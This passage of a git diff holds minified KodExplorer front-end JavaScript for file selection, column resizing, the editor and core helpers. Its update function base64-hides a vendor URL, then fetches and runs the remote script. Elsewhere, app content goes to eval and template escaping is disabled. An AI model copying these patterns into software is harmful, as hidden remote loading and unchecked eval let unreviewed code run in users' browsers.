i.eq(n)},v=function(e){if("desktop"==Config.pageApp)return m(e);var i=h.fileListAll(),t=h.fileListSelect(),a=i.length-1,n=0,o=ui.getRowfileNumber(),s=ui.getPagefileNumber(),r=i.index(t.first()),l=i.index(t.last());switch(e){case"up":n=0>=r-o?0:r-o,n=_(n,!1);break;case"left":n=0>=r?0:r-1;break;case"down":n=l+o>=a?a:l+o,n=_(n,!0);break;case"right":n=l>=a?l:l+1;break;case"pageup":n=0>=r-s?0:r-s,n=_(n,!1);break;case"pagedown":n=l+s>=a?a:l+s,n=_(n,!0);break;default:}return i.eq(n)},_=function(e,i){for(var t=h.fileListAll(),a=t.eq(e),n=t.length;0!=a.parents(".hidden").length;){if(i?e++:e--,0>=e||e>=n)return e;a=t.eq(e)}return e},g=function(e){var i,t=h.fileListAll(),a=h.fileListSelect(),n="",o=!1;switch(e.indexOf("shift+")>=0&&(o=!0,e=e.replace("shift+","")),e){case"home":n=a.last(),i=t.first();break;case"end":n=a.first(),i=t.last();break;case"left":n=a.last(),i=v(e);break;case"up":n=a.last(),i=v(e);break;case"right":n=a.first(),i=v(e);break;case"down":n=a.first(),i=v(e);break;case"pageup":n=a.last(),i=v(e);break;case"pagedown":n=a.first(),i=v(e);break;case"all":i=t;break;default:}if(!y(e)){if(o&&""!=n){var s=t.index(n),r=t.index(i);if(s>r){var l=s;s=r,r=l}return x(s,r,t),void 0}b(i)}},b=function(e){0!=e.length&&(ui.fileLight.clear(),e.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"list_split"==G.user_config.list_type&&1==e.length&&r($(ui.fileLight.fileListSelect()[0])))},y=function(e){var i=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.user_config.list_type)return!1;switch(e){case"left":if("list"==G.user_config.list_type)if(1==i.find(".children_more_cert.cert_open").length)i.find(".children_more_cert").removeClass("cert_open"),i.next().addClass("hidden");else{var t=i.parent(".children_list").prev(".file");b(t)}else if("list_split"==G.user_config.list_type){var t=i.parents(".split_box").prev().find(".select_split_parent");b(t)}break;case"right":if("list"==G.user_config.list_type)1==i.find(".children_more_cert").length&&(ui.fileContent.pathChildrenTree(i),i.find(".children_more_cert").addClass("cert_open"),i.next().removeClass("hidden"));else if("list_split"==G.user_config.list_type){var t=i.parents(".split_box").next().find(".file:eq(0)");b(t)}break;default:return!1}return!0},x=function(e,i,t){if("desktop"==Config.pageApp)return k(e,i,t);ui.fileLight.clear();for(var a=e;i>=a;a++)$(t[a]).addClass(Config.SelectClassName);ui.fileLight.select()},k=function(e,i,t){var a=ui.getColfileNumberDesktop(),n=Math.ceil(h.fileListAll().length/a),e={row:e%a,col:parseInt(e/a)},i={row:i%a,col:parseInt(i/a)};if(i.row=r;r++){var l=0,c=n;r==e.row&&(l=e.col),r==i.row&&(c=i.col);for(var d=l;c>=d;d++)s(r,d)}ui.fileLight.select()};return{init:function(){a(),l(),p(),u()},isDraging:function(){return i},selectSplit:c,selectPos:g}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorer_left_tree_width:199,editor_left_tree_width:199},i={filename:150,filetype:60,filesize:60,filetime:120,explorer_left_tree_width:2,editor_left_tree_width:2},t=e,a=function(){if(LocalData.get("resize_config"))t=jsonDecode(LocalData.get("resize_config"));else{G.user_config.resize_config!==void 0&&(t=jsonDecode(htmlDecode(G.user_config.resize_config)));var a=jsonEncode(t);LocalData.set("resize_config",a)}$.each(e,function(a){(!t[a]||t[a]=t&&(t=i[e]),n+=t,a+=".fileList_list .file ."+e+",#main_title ."+e+"{width:"+t+"px;}")}),a+=".fileList_list .file{width:"+(n+50)+"px;}",$.setStyle(a,"header_resize_width")}},s=function(a,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"_left_tree_width",l=$.extend(!0,{},t);l[r]+=a,l[r]<=i[r]&&(l[r]=i[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),u=$(".frame-right"),f=e[r];if(c>f-8&&f+8>c&&(c=f+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),u.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),u.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(t=l,n())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,a,s){var r=$.extend(!0,{},t);r[e]+=a,o(r),s&&(t=r,$.each(t,function(e,a){i[e]>=a&&(t[e]=i[e])}),n())},c=function(){$("#main_title").hasClass("bind_init")||(o(t),$("#main_title").addClass("bind_init"),$.each(e,function(e){$("#main_title ."+e+"_resize").drag({start:function(){},move:function(i){l(e,i,!1)},end:function(i){l(e,i,!0)}})}))},d=function(){var e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resizeMask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(i){s(i,!0,!1),e.removeClass("active"),$(".resizeMask").css("display","none")}})},p=function(){var e=G.user_config.file_icon_size;e||(e="75"),h(e,!1),u(e)},u=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var i=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["150","box-size-big"],["220","box-size-bigx"]],t=10,a="",n=0;i.length>n;n++){var o=parseInt(i[n][0]);if(e>=o-t&&o+t>=e){a=i[n][1];break}}""!=a&&$("."+a).addClass("selected")},f=function(e){G.user_config.file_icon_size=e,u(e),$.get("index.php?setting/set&k=file_icon_size&v="+e)},h=function(e,i){var t=e,a=105,n=30,o=250;"desktop"==Config.pageApp&&(n=50,o=120),t=n>=t?n:t,t=t>=o?o:t;var s=(e-n)*a/(o-n),r=20,l=10,c=parseInt(t),d=c+2*r-l+5,p=c-l,u=c-l,h=.4*c,m=c+3*r-l,v=".fileList_icon div.file{height:"+d+"px;width:"+c+"px;}";"desktop"==Config.pageApp&&(d-=5,v="div.fileList_icon div.file{height:"+d+"px;width:"+c+"px;}"),$.browser.mozilla&&(u-=4);var _="div.fileList_icon div.file{max-height:"+m+"px;}"+v+" .fileList_icon .meta_info{height:"+h+"px;width:"+h+"px; margin-right:"+.16*h+"px;margin-top:-"+1.1*h+"px;} .fileList_icon div.file .filename{width:"+c+"px;} .fileList_icon div.file .filename #pathRenameTextarea, .fileList_icon div.file .filename .newfile{width:"+c+"px;} .fileList_icon div.file .ico{padding-left:"+l/2+"px;height:"+u+"px;width:"+p+"px} .fileList_icon div.file .ico.picasaImage{width:"+p+"px;padding-left:"+l/2+"px;overflow:hidden;}";$.setStyle(_,"file_icon_resize"),$(".slider_handle").css("top",s),i&&f(e)},m=function(){var e,i=$(".slider_handle");$(".set_icon_size_slider").bind("click",function(e){return stopPP(e),!1});var t=function(i){var t=0,a=105,n=30,o=250,s=e+i;s=t>s?t:s,s=s>a?a:s;var r=parseInt(s/a*(o-n)+n);return h(r,!1),r};i.drag({start:function(){i.addClass("active"),e=parseInt(i.css("top"))},move:function(e,i){t(i)},end:function(e,a){i.removeClass("active"),f(t(a),!0)}});var a=$(".slider_bg");$(".slider_bg").unbind("click").bind("click",function(i){var n=i.clientY-a.offset().top;e=0,t(n)})},v=function(){var e=function(e,i){var t=e.parent(),a=$(".split_box").index(t),n=parseInt(t.data("before_width"))+i;if(!(150>n)){$($(".split_line").get(a)).css("width",n),t.css("width",n),$(".split_box:gt("+a+")").each(function(){$(this).hasClass("is_drag_split")||$(this).css("left",parseInt($(this).data("before_left"))+i+"px")});var o=[];$(".split_box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("split_box_size",jsonEncode(o))}};$(".bodymain .fileList_list_split .split_drag").drag({start:function(e,i){var t=i.parent();t.addClass("is_drag_split").data("before_width",t.width()),$(".split_box,.split_line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(i,t,a,n){e(n,i)},end:function(e,i,t,a){a.parent().removeClass("is_drag_split")}},!0),$(".file.select_split_parent").removeClass("select_split_parent"),$(".split_box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select_split_parent")}),_()},_=function(){var e=jsonDecode(LocalData.get("split_box_size")),i=0;e||(e=[]);var t=function(t,a){var n=e[a];n||(n={width:250,left:i}),i+=n.width+1,t.css({width:n.width+"px",left:n.left}) +};i=0,$(".split_box").each(function(e){t($(this),e)}),i=0,$(".split_line").each(function(e){t($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){a(),r()&&(t=e),o(t),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:v,bindHeaderResize:c,setFileIconSize:h}}); \ No newline at end of file diff --git a/static/js/app/src/edit/main.js b/static/js/app/src/edit/main.js index 03f0d34..5d74a40 100755 --- a/static/js/app/src/edit/main.js +++ b/static/js/app/src/edit/main.js @@ -1,5 +1,6 @@ -/*! power by kodexplorer ver3.41(2017-03-06) [build 1488797373403] */ -var animate_time=160;define("app/src/edit/main",["lib/jquery-lib","lib/util","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","../../common/core","./edit","./preview","./preview_markdown","./function_list","./markdownTools","lib/ace/src-min-noconflict/ext-modelist","./taskTap","./toolbar"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),Editor=e("./edit"),Tap=e("./taskTap"),Toolbar=e("./toolbar"),rightMenu=Tap.rightMenu,$(document).ready(function(){core.init(),Editor.init(),Toolbar.init(),Tap.init(),e.async("lib/code_beautify"),$("a,img").attr("draggable","false"),setTimeout(function(){t()},300);var t=function(){var e=window.location.href.indexOf("#filename=");if(e>0){var t=window.location.href.substr(e+"#filename=".length);return Editor.add(t),void 0}Editor.getParentEditor(function(e){for(var t=e.ui.fileHistory(),i=0;t.length>i;i++)Editor.add(t[i]);0==t.length&&Editor.add("")})};$(window).bind("resize",function(){Tap.resetWidth("resize")}),navigator.userAgent.match(/(iPhone|iPod|Android|ios)/i)&&"1"===Cookie.get("forceWap")&&$("body").addClass("forceWap"),window.onbeforeunload=function(){return Editor.hasFileSave()?LNG.if_save_file:void 0}})}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
    ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i='
    '+t+"
    ",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof t&&t(e.data.content)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
    loading..
    ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
    "+"
    "+s+"
    "+"
    "},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
  • \n
    \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
    \n
  • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
  • \n
    \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
    \n
      \n {{each v.search_info as value index}}\n
    • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
    • \n {{/each}}\n
    \n
  • \n {{else}}\n
  • \n
    \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
    \n
  • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
    \n \n
    \n
    \n
    \n
    {{LNG.upload_select}}
    \n \n \n \n
    \n \n
    \n
    \n \n \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    {{LNG.download_address}}\n
    \n \n \n \n
    \n\n
    \n
    \n
    \n
    \n
    \n
    \n
    \n'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+"");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+""+e.substr(i+t.length)}return 